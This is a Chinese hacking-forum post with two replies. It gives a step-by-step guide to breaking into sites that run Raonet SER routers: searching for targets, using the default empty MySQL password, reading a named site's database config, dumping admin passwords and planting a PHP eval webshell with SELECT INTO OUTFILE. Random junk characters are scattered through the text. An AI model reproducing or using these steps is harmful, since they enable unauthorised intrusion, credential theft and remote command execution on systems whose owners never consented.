利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：
0 w- D2 M" U6 |
1：google搜索'Raonet Subscriber Ethernet Router'
; u4 {2 k! I. Z) W, O1 W5 k+ f
2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001

  A0 s1 W" T9 t6 N/ ?; U3 T3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。
6 P) c# L1 \5 P5 }
//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......

$ V& S0 @' R. i, h

- U2 B. Z0 o$ o) y( y! }/ ^入侵步骤：

1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php

2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
3：得到密码后连接，查看GUI管理密码：
use ser_500
8 y( a: ^  H1 u2 ?& `select id,passwd from user;
4:通过数据库写入webshell，执行命令：
use mysql;
create table ok(cmd TEXT);
1 N( k+ L/ ^: u( |5 b9 @) Oinsert into ok values("<?php @eval($_POST[cmd])?>");
+ J# ]0 [/ C9 g% V- a1 g8 }select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
drop table ok;
& F# a- t- x6 c4 e5 W5 s
5:连接后门shell.php

6. 搞定！

Anthony~

这个后果可以很严重的说

jos666

不错哦，黑服务器补洞。。